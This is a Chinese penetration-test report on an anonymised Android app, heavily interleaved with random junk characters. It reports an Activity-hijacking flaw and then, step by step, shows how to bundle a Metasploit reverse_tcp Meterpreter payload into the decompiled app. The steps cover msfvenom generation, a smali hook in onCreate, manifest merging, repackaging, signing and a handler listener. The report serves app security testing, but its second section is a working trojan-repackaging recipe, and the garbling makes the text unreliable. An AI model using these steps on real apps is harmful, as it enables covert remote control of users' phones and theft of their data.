原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

( Q/ g# f$ q7 k! o! l5 F0 d( F' e% B4 [ / n1 t& {6 N% i2 {# }/ S

1 E& h# G; N! X3 S" Q
" i1 Z# l$ l4 ^

+ k6 q: {: l' W. E

' z6 A4 _0 n+ _1 ?! J( f7 [7 Q

文档编号：                / f9 T& h& ~8 { ` 6 B0 C( i% k& P: w

& k: u M$ w, p; B- { 1 j9 K9 Y* P- K1 u

: q! D1 H/ o/ A( E * \, `: {% O3 y$ n& t7 ]1 _. @; l5 _   ' ]1 D' S4 E1 n

2 r9 p' Y' R: w% {( T7 W

6 x* r+ z! E; ~3 Q   : U" ^( p) \; e; [( D) b7 ]/ y- S 4 K4 V, D' w8 `8 K' M% F @

/ u7 V5 s9 y& Z# j" z X* U) U( k E

1 c3 K: H2 Y% {8 j0 f / G7 j, M. @2 a" ~9 F   3 l/ X' [ u. A2 Q x9 v

, U0 o/ A7 B! W3 M: S9 [& v" ], A

$ `4 u& f/ T1 o4 m; { : e! r$ V. L2 \8 `' K/ U" {   ' y2 k! u: |* x6 A+ w" `- ~2 w. v : `) L! V+ ^7 k* P6 K

7 B9 s$ x/ U6 k * |* e# U4 d: s2 l0 X7 k: S9 a

' u& G6 E c; {5 N   " ]# T% |; k3 ~! d# Z+ k

/ J! t: l: a. R2 ~2 c- {( s

) n+ C, r9 m) O6 C! s1 K/ _ 某某某APP渗透测试 1 Z- U3 E7 B2 _ z* K: d

: S$ c4 Y" i6 e' j1 l5 Q! Q+ x

5 d0 `# I9 t8 Z1 `# D   3 f8 `' }! `0 a1 W! @8 m A$ R1 P( N 8 G9 y ~( d7 d/ a

7 ?2 h- N1 w* ~4 Y I- V

4 o2 g* O u$ z/ Q3 B0 W& v   7 _- u( r/ W! k/ c' O

" N4 i9 K6 ~: g( X# b0 d, P

5 Q- @ ^7 |0 [& K v. p 8 n2 C; C& i8 {   8 x1 W) n% B6 }' _2 c; Z

4 b4 v$ E ]8 \9 P3 M( Q1 j

' B, E8 _) \: @' B' o   2 J* ]/ n8 i, A1 `8 U5 n

- V- G% I$ J8 ?8 |6 V/ X+ ~

' p9 C6 m0 _& }3 N! Y' b6 C$ I 技 术 报 告 7 P( A: H) n! @8 E7 E' @

& n% Q# `8 t# K & W, |7 i$ `; y* j' g& g" M$ z6 x

. }+ c+ d+ \0 h0 W  

: Q9 ]4 _1 X2 m/ J( j* R

' r& [2 r1 \0 N3 L" D# L, D' e* \  

" c5 F2 c E& w0 G# g& @: y # x P/ H6 W2 e2 V6 z) V) q$ W   8 J5 a, w' Z) g, B

9 {# U+ V& J3 }% c1 a5 @+ H* s   ' V: O4 k' B' ^ 1 I1 O0 `% |7 r7 h) S( v% b& m$ G

# U* h5 [: R5 g3 R) T , [) S6 |# s( I" v* \; `

9 y8 h3 |1 ^; `3 [4 b5 i/ h# O, _   ; l3 F9 q$ B: i

9 \5 t( l3 x b- h- b8 w: q

) H6 I' R7 t; P2 ` 3 i/ k# w7 A7 Z+ |0 V' Z   ! D6 [( u5 a5 Y' g+ M# N9 @& ^: W # u; r8 `0 S$ N5 e0 c% e

6 _& N6 E9 F7 h; P+ U" i 2 x3 t" B: i: S

3 h9 P2 N5 i2 l3 y% x- o   % J3 c) q6 v0 a2 ?6 w7 p 8 m! Q L: l/ Z m! T% Y- e8 I

5 v& K9 z/ G7 _% I9 ` 6 j3 ]. Q8 e8 }/ C7 D2 ]7 y

7 v. r8 ]* P% n0 ~2 e/ |7 ?/ k4 | & A6 K9 |! O% g1 P, y   8 l( ]0 @/ R5 u- N% H7 ?) z" N

$ G! { I) W8 v

 

8 |5 i4 C, i: K" O6 q3 C   $ m" L$ F2 |* J- ]. G( K4 T: t

# J* E! B% C& j. `) U

) m8 z% x2 d( \# j$ ~! W: S6 X 6 k8 m8 b h0 c  

3 [ Q3 |' l9 x- P/ G& d  

7 s2 p* z, B6 u! ?' a" p

! O; J% j$ c4 n' P   , c! O6 F0 P) }$ Z4 a 3 k/ C) [1 t1 a( R( E

& t& ]3 s3 l; k% B2 _# G   : |% u( t8 S# R- O4 t . Y" ] X, T' T$ N& H4 J

9 H$ C- s, e4 l) z; O! ~0 X* h8 y   . `! b0 E5 m, c3 ~1 I

' i( N3 J# e4 K5 ]( _

, U* k) t" ^) c) Q   M9 N1 }, {) k; s ( m3 g7 H4 T5 @7 O

/ k$ R( r% ]* c$ R" t6 M ) s) a& n. {8 ~+ v" X9 _

+ q! l" ]# \3 Z& p& g; U  

* P2 y5 P3 i+ o% E7 ? L/ r 3 _; ]! {& n( d# i* t0 t

* e, T* [" ^% u% E' o% J   : h8 j3 h, D5 G& W: H+ l4 P * ]* [. Q6 t' B" ]4 t8 o

. l" c9 w4 E c: \; ~) E; ]# q 二〇二〇年 $ m6 a# w( d1 j) t

! O& v( J: ]& j% J& X" Z3 ~0 y

( p: Z5 |8 q# i, I. B) A
* n& l6 \' z. F0 C0 A6 \

i1 ?9 n1 ?: i7 X. b# x * Q( P4 j2 N2 y7 X" n" o* o

0 u& _3 P! @* N! A3 z0 K$ f
, D+ ^! L" z3 t

% E2 f& }6 e& g & d& Z# r( V; P3 ]' a" k 目 录 4 J- u0 Q/ |7 F+ h

( H+ ]' K9 ?: s2 O9 G , x8 W! ~0 _+ n/ X

3 i, w* _3 k/ [0 q2 L! e1 O   % d! S. X* o/ q7 `6 F* ]' r+ |" s

* e @1 w# |$ s: k% l 1 概述... 3 4 k4 b1 Y0 ~$ u- M' p

* G. J" n) u, |1 w/ O0 Q

) P8 u' {2 B" b8 Y6 j# O( c 1.2测试时间... 3 : o' O5 a: q% m" [ 2 D0 m0 c2 a8 k. C$ |

. b% }4 N& ~) s. _0 e

; L( ~# h* w6 y4 x9 [; q + B# F# M% t! i 1.3测试对象... 3 . Z# J/ o% k, Y, E# P+ s; h, ^

& M# S2 f( _. t o. z ) @+ g7 M3 v6 a

E$ d! U P5 v( A( K3 k' X 6 E- T% E: G* n# e# ]& E0 m3 n" V 1.4测试结果... 3 ) S( A8 u/ u6 o+ G, m5 o" _5 {: `

/ l7 T( U2 {" C9 b7 c8 N

$ z& T! S. C0 F/ w ~ 2 检测结果... 4 ! r4 g8 b2 p' m# }) y

! H" y5 O+ b' ]: U; W 2.1 某某某... 4

5 Q: M6 W- {" y) T* U# | ; I8 ~( q# V/ {& L3 z- x

1 G5 a2 y2 b+ b) | 2.1.1检测目标... 4 4 `, y+ |5 B# U$ D X* ^9 t0 x4 o1 t# w1 ~

' S0 W( o2 {- A! }8 w h" t( v 4 S0 r. H5 D& I( [% n: I

2 W$ L# f' O, o5 { 6 ~7 X' d$ C' g7 | 2.1.2检测结果... 4 s; R' r T( p& q9 y& m0 ^4 p3 F" c 7 f/ ?5 _4 ^9 P0 r9 `+ M

$ `+ K+ q$ j0 V0 L s7 l

* D2 P7 |" ?, j. { I 2.1.2.1. 4 : ] @) p8 L( O; ?8 t" F

2.1.2.2. 6 7 }3 M& X; b- I$ {

I/ ^% ^/ e/ g5 R; E9 b/ \8 @

5 z) v: ~2 R1 W! M6 i: B9 ~ 2 v4 }6 E5 Z" J8 R! o

% q1 ~1 r i/ W5 O% [" e6 I+ @

# _+ w w) ~' ^
* o$ H) X6 A, \. J6 Q+ m2 V# E* P 3 N! d8 e: r2 `1 F4 y * |- A- }- u2 v7 |# A1 }5 I2 _

+ G" u2 k! e# J * V9 _! u! G1 d& n 1 概述

& J _5 [; t( U+ p

' ?' ^% |# L. B1 ~2 T9 \2 [ , d* ?- f, N9 Q' T' | 1.2测试时间

' O. g1 g: u7 G+ R; G. h9 Q w & S2 G9 @" ]" `3 f% a; I; {$ `) f( e) Z" X9 h6 r0 a. P6 x) s3 Y3 A6 b! l7 |- ?( Y9 z/ V P1 j* m; i0 A; ~& ~8 [$ P7 N- m" v# d* M, U+ k/ [2 n+ ]0 o8 x+ T% S5 Z& y4 W- R% _4 w8 z3 q) ^/ ? ] l7 _6 A n8 P5 G/ C$ S. o' l5 U) y) z5 E! Y5 }: I4 i$ j( C% [7 ~- \* t; i" [- O9 {5 L0 W+ Z! h" [, }' V/ p9 [9 B+ x

7 e2 q/ L V1 M5 l# g4 Q 渗透测试时间 ; l9 n7 Y) _. t! X5 l' k" b! U & P6 y# c$ }+ V$ H, S
/ T+ t3 n ]# X" m2 ~6 q# Z / @* z. j4 v# V( n" ~1 d / v7 }# [6 ]0 }$ X) Y 起始时间 ( b: x) f, c& J! Z6 D+ T2 j& G9 ? / _6 q5 f. R0 B% X0 x # @1 }8 H3 m4 @$ p/ Z7 K 4 _6 U, k, [9 |' o. k	- v: g/ R3 @7 H G ! P5 ~/ Z; j; ^0 m 2020年4月6日 ) i! `/ w* H- M) c 4 w& }! w+ _" T9 e q) w; m4 ~ 8 p" A* v7 J ^- Y
+ q7 f7 [! a4 { I7 W + z0 T$ U. d+ w6 H' d: { 结束时间 - `! W% |/ L7 `5 B3 M/ c/ P' Z ' y4 P9 m, q% E) Y, ~# T# i	P8 f: G; z1 V% [* t" k- t6 k . U. B: Y* [. I/ ] - G: ]; w0 b) ?* ]* q$ O 2020年4月9日 * U4 x5 u; H4 @: g* d$ D 9 k+ x0 i( t! U2 u$ r. f( d: | , Q, F3 U9 n7 y

. Y4 k* x: ?1 d# t# S6 m' M, U

1.3测试对象 " Y7 _7 g6 R2 R( @. }

# `$ j# Q5 W9 W: ~) C5 M" v ) F5 ^2 C+ O# c3 t4 w" M% f 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： : S) r* g. C: P8 \5 i/ v! F# n

/ S! {1 B# z- T7 C 表1-1 检测对象 , R1 i+ h: Q; a6 O9 H/ Z' v

3 s* y+ f" a6 w' E& y( u / M$ K% [( j! L0 t. h$ e! c, C6 s* J$ v2 R C+ C% f- S7 m$ N( T. T& ~, l, X* m0 n0 L! R z2 U0 t+ W3 r) K" A/ n$ R3 S- `- K; @) e5 f2 o" s% E w4 J; t5 U+ H" J- U7 W! [& h4 D5 M; J$ V" I( e C9 z0 Y+ o) S% R( |0 i! i- C% ^1 J8 e/ w1 n2 A: m$ ~8 K) \% Y/ e+ T( I) Z1 K! `$ ^/ |8 S$ l5 ^. {& V5 J) a! U, g! x4 g" r$ o3 F- y8 d" {2 \# _" W

. t* k5 w: X8 R G G) k# Z4 l 序号 / [5 Y. @+ e$ R _% X+ _3 g# }; b" Q	) z' H0 S2 @1 ^/ Q+ ?; W 5 V& S" z0 h, l& V 测试对象 # T, e" \- ~ L# T 4 T9 }! d& b- U: a, B2 P	( T- V' \+ {, i" B R6 d 测试地址 ( ]; b( v3 U* Y6 [$ s7 [, O- S1 c 4 A0 L6 m2 M p8 O# _6 H / B& O( I% Z2 ^) z6 v8 t	( g( [5 M; B& g! N' h1 x " i! L, q; c. ]( Q+ P u! l9 E 安全漏洞 9 Q( I+ q. m- D7 M- ^- W7 T- z % H# j% _; S) Q* ~% K, E8 P 8 d/ R" y6 L% F
5 C) H. C: ^! k9 z- Z. B' w! a , t: |/ M5 M6 T# ?6 |" Y/ y& Z 1 F' T/ }- T0 |+ G 1 $ F$ |3 p3 P) ~	1 G! Z: i! T) E# l% Z, @. ~$ m% S 7 W3 Y- \0 M+ ~; Z8 x( h) l 某某某安卓APP 6 {& U! g* u6 w, E8 ]7 |2 w	3 h4 O& S8 l1 h9 h7 Q- I! l. l- c 5 }+ U: S) n. ]( U% W# [2 q) v6 P   8 }1 O7 w9 `/ G2 P% W , P7 h+ { ~) v6 W! t$ E/ O ! j3 }; y+ n6 b/ ~6 ^1 A, N/ U9 Q	7 E8 b% W6 _1 N5 ^ 6 E& _' a& }' w& E7 K0 Q* [( q0 C : H5 P( @' `2 w2 r& M 2 $ b1 ?' L' d3 h8 C E" Y8 \& B/ t4 h ) b9 `" K) _1 E% K2 R* h

1 O! ]+ |5 T* ^- H/ i0 E. | 1.4测试结果 9 m# M" Q' I$ w! m2 O H8 d

9 C$ v% s4 F0 q! X# e % u# y' }% ] h5 T# B

( v4 c% Q7 A8 D. T- K t8 C) f 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

1 G& u$ J) Z6 t% c* @

' R1 w- l, p; i8 Q9 {# z. U: v0 D   : [1 x' X9 d5 U% {; W- p- v0 W

1 x! \; j! k2 t3 O6 T. n- {# v # x- _/ C) Y; ]. ~- H* N 6 O$ n4 h+ O, l- v& F* H* m& [0 {8 Y% @. ^0 T" B5 z# u! Z% G& B+ u1 ^8 p' A; y% Y3 z( K9 P3 s. m! `# \* s6 {7 `( U0 T3 K n: p1 E9 H, B ^8 J$ A4 T& c1 w. i$ B" Y; j' e9 s# \0 h5 F; M% m) w% t) N" l9 B7 f, n1 }/ u6 O; d4 G7 P% @' M6 C; m% T% i8 m! d" y- K& L2 ~/ `* ?" V4 c/ p o6 E" @( w, I% a; C5 C8 Y+ y+ @! Q8 T) l+ S% D& {: M' F$ _+ `5 O- G& N# I" Q' ?9 X6 ~! _" ~& `( f1 [) m% \8 g6 P) ^% k0 F$ y7 i' X7 y( }$ I7 X/ j* {" C, @# n. y* h# s! O, Y- `4 t. z+ x/ S4 ?5 N4 b# V) p7 @6 Q( b. D+ S S" D) `7 v" k# `, b( q! p( E$ ]/ j3 C: J, P; N$ V2 s6 I4 T& C$ u3 u9 x6 I! P6 W5 ^- t! l% D$ l4 i6 I9 e j+ w& m3 i: U9 [6 w. e1 I; e8 p4 d* ~* |$ L+ D4 S+ \

序号 ' U- e8 I) f% f Z; ^' d* n	& J2 Q8 J) }" b; n- l ( P d0 ~& a8 y$ [4 C5 l4 x 2 c4 \1 M* ~ B R8 e 系统名称 2 }! y3 `: _ n2 g, s- h	' J# v7 Z6 W& @# w 漏洞名称 2 Z w7 W D" ]7 T! d' s4 d ; p6 b9 G; G8 Z" e: R% A . O7 v' {8 s5 t* j- Z t% u, D/ Y	2 y/ `( B) y" d O - U. i: u7 U0 a) i 漏洞危害 + |- K$ Z/ P7 e* d( D/ A% z : K0 j/ q1 `1 h3 ?	E+ i/ u, @$ H+ P9 A* Z. I# T 修复结果 ; `/ H9 ]* K$ K' B x9 q% X s1 Y7 G p. `" Q
! I: u% |& G0 x " m: B0 B3 p( Z; T5 M+ Y # `! `0 k& K) U8 ?) f) V# E8 N/ `6 N 1 + T$ q+ D' w% ~0 m2 H# }$ [. l) _ : {) Z/ n2 ~! V8 o: Q " N9 Q3 A/ Q& W; ?	6 Q2 S. e% y1 l2 L& p ! ]# U2 r- ^' k" i/ R* P) p( ?& { 8 v4 r: L$ A" @# K0 Z 某某某某某某APP 0 L1 s- e0 r- a2 W K2 J8 O	Activity 劫持 O( _0 j: ]2 @ . E% z. f7 Z0 E+ w8 y, I B   7 K; @$ v9 t& t, ^$ L4 i! d- ? & a0 |' L1 s! y ! ^ j9 c% s1 l% P$ Z, U+ t' @	: R3 u# u7 K, n3 T) u8 g$ h! K - F7 h/ P/ q2 Q+ s& { $ W8 A+ X2 R! a9 z( }. b 高 ' U: j! T6 [% @# \7 n( l6 r ! D% B3 a# i$ _	& p8 D4 A( M& D . v! [7 A+ t1 |& S h   5 {$ X8 u. o/ A" R M t& i! w" ^9 E. Y/ m ) z/ k8 e( Y; F# O
( b, m# o% G3 `. _5 z; ?, N- X " A& B8 m2 x3 y$ Y 2 $ A* s& e& Z/ X& B. Q4 w& v 8 r9 _0 j4 Y, I7 ]- l/ l) u 6 R! @7 a* ?6 W+ a' k	1 l' Z- @; ?; g# F5 h # c8 [/ @; u. |% H) V 某某某某某某APP # a3 s+ Z0 Y2 D# F$ ?; P1 x; m 7 ^$ ^% I) \! \( h1 c	. x0 c+ j! f( a- N! D1 S - ?5 _# J C* k& e/ U 反编译二次打包捆绑木马、篡改APP代码 0 e% T' G0 o c6 }6 G8 g a ' ^+ {3 T5 c3 c- E + {0 n6 ~: Z0 e % {& |- D. S& I	- p$ x* W# z! E% H) U 9 {* i, K# J! T; D4 W/ b. W0 S2 g 高 [8 ~% W$ \* T 5 i0 [4 }! v |4 X/ S; w	k) H0 Y6 V/ t" d8 B % U- h" [! \7 C, r# g% U   - e0 k1 ~1 F0 a4 W& K8 B# | 6 n, R- O i% n- E8 r + a6 U2 A' A! \

; ~0 P S b9 p p; y

& p5 a% Y1 ^* Q4 `1 G" i

 

: X, ?+ X5 F' P( _' E1 x2 V

7 W+ V, z1 K1 y* g. E, w 表1-2 测试结果 # n5 P6 G+ E) E) _) p3 n ' P7 h0 ^8 R9 Z! U$ z

4 S, R! @3 J3 k8 } ; N1 s; _; V7 B9 e! i

7 K7 E2 u2 T% j" l' g( Q   " s1 O k$ I" B6 O* R8 Z3 Q

# Q7 p9 b* Y; D; x1 L 2 检测结果                    6 X6 S2 a5 c7 u$ c. Z

' w! ]& k' F+ Y, K3 Z' }

( O c7 w9 p# p6 }$ n" F, l 2.1 某某某 5 h8 O6 S* w" L- s" M9 x

, E1 G( T7 f4 N/ j/ c

2.1.1检测目标 ( ?- a( F/ m5 ]

, k3 ] \$ v. R/ i' D

目标地址： 某某某某某某APP * o4 R+ D* K6 E# p; z& T( c

# Z3 h9 d4 t5 A- u 2.1.2检测结果

/ Q# T2 {7 Q6 ^& F8 x# ?9 ? 8 a2 Y1 `9 g0 Y3 {" r* U; N

: U4 M6 v, W7 p. k 6 E# t1 p: }* x( q( l 2.1.2.1 4 }. U/ w& c" N

9 @6 o u1 T7 q* H( }6 Q 漏洞链接地址：某某某某某某APP / Z5 c; _; P3 I& ^

  ; ?) i5 W5 P' J / |3 g3 m$ W" K( w

# ~5 b: j1 L+ M) P8 p ' b. t9 P8 s/ X1 j& Y& s

漏洞分析及取证： # \1 R4 z9 ]- Z* U% ?& S* ^

7 P* I U* G$ n$ T5 U' ~- k! J6 X

" J. y! Y7 [: U+ R: S                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： 3 b0 D. p ^, [6 Y! [& K

: F: {4 s y0 a G( ? J: L

    

* O- Q4 T' m8 G. {/ X1 P- R5 n' e+ R

' e: q* E8 w5 Z+ m& v                       ' k5 n V6 R/ `0 S6 W2 p/ q4 t

& ?* l) h2 d2 A7 k, s1 b 3 j! ?2 v2 D+ e* ]3 b

9 l! ?! c3 p U: J1 E6 k

& Y: C8 g: R9 F5 q * u* T8 Z5 ]! f4 x2 i8 q( l

: y' v7 @2 E2 _, Y- D 6 H, S! O2 h# U) C

% D9 S* u0 Y0 i' U) W! V$ I. p

& e1 k) N; A2 m; W8 t # }1 Q9 L9 q8 N( F3 I

0 f8 o6 R7 n7 Y9 V* k " v2 N( L( s# p. h" R) Q x 漏洞危害：高 & R. a. m8 Q1 E2 h " h8 y4 s( ^. z/ L' A; T

: J7 b7 e: V" Y+ X( N 9 S1 M1 x. b; r. N( r ! F% j/ T# R$ d" i9 l9 \3 I! Y( ~1 R) j* l# k. d( }+ D& J3 ]8 H- M7 @4 L; |2 @' J6 Q* s0 w7 |; @7 v1 X( q/ h& d9 E3 u1 g$ t/ O0 L- c0 \- H& b+ V& l3 f, z) ~5 `' b0 @5 N! L: B/ r$ N% j3 W& Q: R1 i. n5 X- ~9 w- s- I. s/ o# [: M/ Q, u( k1 D3 F7 M$ r, Q" P( O) I+ b P. P. {, Y/ ^% t5 C6 {5 W: X4 Z3 M7 }: E( p/ h# n( G5 A* Y

$ ], ]/ Q; T, j. K2 G 6 C, Q$ w+ A! v. C 严重程度 * L' ?3 {; d1 p1 p$ q! U . `) H {3 W/ }3 O D' _3 R	7 s+ q7 n. x" x$ F9 {4 M- a % N8 n1 I2 P* f: E7 H! V, k+ n" t6 n 高 , m% Y/ p9 C5 W3 \# _8 B	5 |8 C; t+ z$ O7 ?5 S ; F) r' X& K) K7 R" g3 W ■ 5 `& T1 X% E0 V5 `! x	: U# {$ i" j( x( z% u- \( b5 B: J # S2 R3 N! J5 B5 T. s 中 9 A% `, X$ K V5 m0 y B 5 R$ D8 z9 H7 h$ {7 z	, z+ n4 L* ] y z# B: k7 n# X% ] * C* r6 m5 N4 h2 |0 k- \+ D   7 v3 q a+ `9 O/ s " X: p/ R! Z( q % g1 X# A6 u% y	; W! u k+ Y+ e, V# B: H) l) M 低 6 ]0 H H! A' v' @, O- Y$ ` , ?! G3 z0 p }; B6 U3 [3 O. b ) b! ^5 E5 B6 P) J	+ @, ^8 J- M! f) a " a9 `: y' F# o7 E: o+ x/ J- n) { ' S, R7 i4 \- z" j% x' X; Y   3 X7 r6 e* ~% h* {2 N " s; K/ Z& j: g) ]& m% G$ R : z( P0 T' V$ T+ i, V

6 S r% {: x# ^ " q% ^3 d& `* |

P+ x* ~, ~6 T7 X : {6 q' v4 i" F# C z6 Z

, A# R% \# d$ H9 E& W   ( L3 b" v1 j! c0 r+ R6 g

$ p+ |$ v m/ e# {8 g+ k! h' U( P ! `8 z7 }5 D1 a; L! ?' A0 l; Q! b

修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

- v6 d e" F7 \& q! d" ]

7 _2 q+ z( U7 C7 ]3 ^# N          

; T, E( C+ b, e7 \ 1 d8 B7 i, K, \. c/ @# r

: P2 F) q( P/ @5 g   # d! n: ^ u4 O* e/ }! ^

: l/ ?' _! R5 N3 D' t

2.1.2.2 1 M- w/ n1 w @* Y' z* I $ _' ~; b/ a2 v4 p

6 a$ b2 z7 E* M! H 4 y* _6 [; L! l8 N6 @! I5 L- ^ c 漏洞链接地址：某某某某某某APP ' w. ~: c7 h. c) T6 y' O" ?

2 j# W9 R. z7 n% L; Y& u! m5 Y * u5 T7 ?8 t2 Q' W2 j8 _0 e, s; F0 P 漏洞分析及取证：

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： 0 Q7 n6 s: {" u

4 G1 Z) {7 W# c9 t " Y# W1 k! u! Q0 P9 A 用Metasploit 生成木马 apk 6 J% T6 c: M4 F0 X" Q2 ? 8 c/ K- ~0 {1 N9 A5 _% y4 P

) g4 o6 o: j2 Q+ o1 g msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 2 v3 \+ ]3 ~6 ~2 A- n, i ! F9 ~2 F$ c0 d$ W6 n8 ?

, i5 ^# t" o5 \& l+ B+ z

8 p" [* |- S, x3 h5 \ s; C1 ^( N3 |8 z 反编译目标apk和木马apk 0 ^7 c( J/ d5 p' @ F: o' f( A# o6 D- |! o, c0 a) B

, ? T! s4 t! O- w( x" p/ a . J8 O% @/ U! u8 j- ]5 |

. V! o& g9 b/ P) P% @9 i9 \ % W9 ^) E; q3 P apktool d target.apk
; }8 Z8 b+ O( Q4 e& y4 U- | apktool d cockhorse.apk 1 F$ w. T: c. ^% `2 {; T

v/ l0 p( k3 J: ?0 w2 _

& k' Z. R+ R: ]6 Y6 s# L; X : s( G0 X1 _* K" @& s' l, ] 木马 apk 注入目标 apk 5 c* E: D6 X3 J# t

1 [6 t) h7 P8 {2 T* L$ l" ^4 J

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
1 B9 G6 n$ u# H8 C 8 P0 f2 ~- T! B6 B invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 1 ~5 q5 g3 V0 Q) ~

5 g. p5 Q) }% E# v# p- a5 H/ p

$ \( n" E6 @, V/ J0 z& T& ^ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 ; Q0 d; T% |4 I7 W0 g

0 Z* q9 u4 I& m8 M

3 V7 J6 h; r* y 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 ( A5 t1 e+ s' f+ {

7 Z. s( r S2 [' G

/ |6 V1 ]8 E( a( e! J" ]. j6 E4 Q! X 回编译生成最终 apk

+ A p" E- M1 J/ N. J: F6 M $ x) W% {( K: ]9 J

重新打包 $ r2 [, j( b+ }% G/ V2 a6 n 6 R( n# R+ _ y: r- t" Y

9 g( F, b/ u" I* f' `- {/ A Q1 ]2 J: m& I( ?6 e( j7 t- k apktool b -o repackage.apk target_app_floder 3 M( o8 f4 h u$ c ( z+ E+ _, n7 N1 K' j

+ }3 F; @5 H$ _ : W% a$ g0 ?+ J2 X Y3 F7 c 创建签名文件，有的话可忽略此步骤 ' e% N/ ^- e3 ?6 b) R1 v

. K7 W& G! u/ F' u # a+ o/ J6 X/ r. C% }9 G, f/ m keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                % h6 ]" i5 F- F: H7 U. w 5 w& l4 m6 X5 ]4 G u( L f

9 p k6 x9 H( q4 g. l: |

签名，以下任选其一

4 ~# D- P2 D1 F! y jarsigner 方式 1 m# O# a$ H f' j( ] ; n) K1 m2 N; z

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 4 g# a# Q) u {4 \' Z c # q3 `1 d# g' n# J1 O* a

# k; E+ d8 Q2 i

apksigner 方式 9 v3 d" N2 k/ f4 Y 0 Q2 p" [! S! Z4 }

7 b" w4 }+ ^; D+ t+ s8 Z; s : i1 J7 a' F0 q( p6 r* i6 T8 W

b! W3 D }0 \ h) C 4 @ w( E# m' ], s apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk * _& d: g4 [2 F . a z" R/ @0 ?1 N- q+ A

* u% r, W0 U9 G

如需要禁用 v2签名 添加选项--v2-signing-enabled false 0 F h, D( j; c: ~( |+ r 6 Q& ]/ |9 x0 k% K/ Q! L) H

6 p/ U( f* b+ T- \8 E6 t7 ~- y# a 验证，以下任选其一 + c* _/ A+ j0 B- _

+ J% t& m1 i# n

: @( t8 k% f: m0 ]: c jarsigner方式 ; F2 a- N1 s! A

3 @* f1 i7 \2 b, B jarsigner -verify repackaged.apk

2 f2 M. G6 A6 l ~0 p8 M 7 O- j$ R6 n( k6 Y- T

apksigner 方式 ! z! m+ I2 i0 `0 W . c4 s* Q3 e! y6 C; U2 L F1 Z8 Y

7 Y: [# ^ ~3 q7 O! P: {" v4 k

apksigner verify -v --print-certs repackaged.apk , g& V) m* e3 N+ p1 Q# G

& ]# T9 r3 _" K

keytool方式

; H- r) E( h( v* y. j+ I+ C) n

keytool -printcert -jarfile repackaged.apk 7 ~5 S5 d' L; H | " m1 N- l- R. E0 F, }1 X9 V0 O* i

. H/ Y" @+ ?6 o4 ]

0 ^0 w9 M( [+ B! A2 O1 ^! v) t: c 对齐 * ] ]6 x8 W/ h8 W0 m; X; @' X 7 D! j- N& l+ Y1 W9 x+ d

7 F3 K* A# V5 B: Z" u, \" p 字节对齐优化 " T! N. ^. o8 G# a6 ?/ ?

zipalign -v 4 repackaged.apk final.apk 9 X+ S" q% U7 E x

* K, o, |' z1 C$ j; W) I m

检查是否对齐 ( R% F, \5 |" c: r: }7 g( |6 B3 {

3 g2 [* e. e: ]& e2 ]6 F+ T - a- v% T( B1 i$ j( i# T* m

+ k+ S' ?" B" E$ k4 c zipalign -c -v 4 final.apk

5 |7 e! w: L4 P6 ?3 T4 F4 R

0 b% v* m/ P" Z h8 \ $ V- _& Q9 u7 ]+ g7 [# d 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 R9 Y7 G* ^: d2 W& h* | n ' \# F( Y% e+ U) @! x

2 S1 O) f Y4 {; Q 启动Metasploit控制台，配置参数等待上线 : b" l* a$ W. n( y6 f! W

在终端依次输入如下命令 , \( Q4 {8 |5 d. K% Z & t5 A. I2 b* q6 L5 }

% R! D4 W# I8 U

msfconsole : I/ p' P9 I( P

% ~# i) i. V8 H9 }3 Q use exploit/multi/handler

- B2 a% Y, s% l# h2 X1 T2 f

7 \" f- J6 ?) L. H: s set PAYLOAD android/meterpreter/reverse_tcp * N. }/ [6 I# Y& Q3 ^/ c! t% J G

9 `1 i9 c5 U, f, J0 z @2 M# A

( q0 w" G. ?. ? W5 l' t set LHOST 192.xxx.xx.xx 8 P0 ~% z3 X8 g' ]6 A$ b

7 y1 q6 J8 L) x- K; R" L. s

set LPORT 4444 ' \& [3 |- I8 J6 n% l& h9 B( i

* u0 s' P# j# G- j& K" l5 P6 y, g : ^) h) M6 w8 J. B/ a2 a }

- u( M6 }. `. ]0 x4 l 9 ?3 U; x- b0 R6 \' D8 G) R exploit . H, \) j7 s/ S4 Q% B* R$ L/ A

! `3 A, i }" i' m! a5 [ ) h$ Z" f7 N1 E/ u2 ]! M

4 z& k7 s9 _8 q- M- `" n 9 W4 _; H- Z; \0 S) Y/ m 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               8 c0 O* ]/ N5 {

T3 {, k) e2 [- @1 F) j3 I2 t9 [% b 0 C7 M+ s" i5 L) J: R! A* |+ f

4 S& M( w7 G ]: \3 R6 A6 D. i 漏洞危害：中 5 `3 t# w* `8 A! w( N

, M. Q9 J& T q ; o- _+ m" V7 @ d1 |

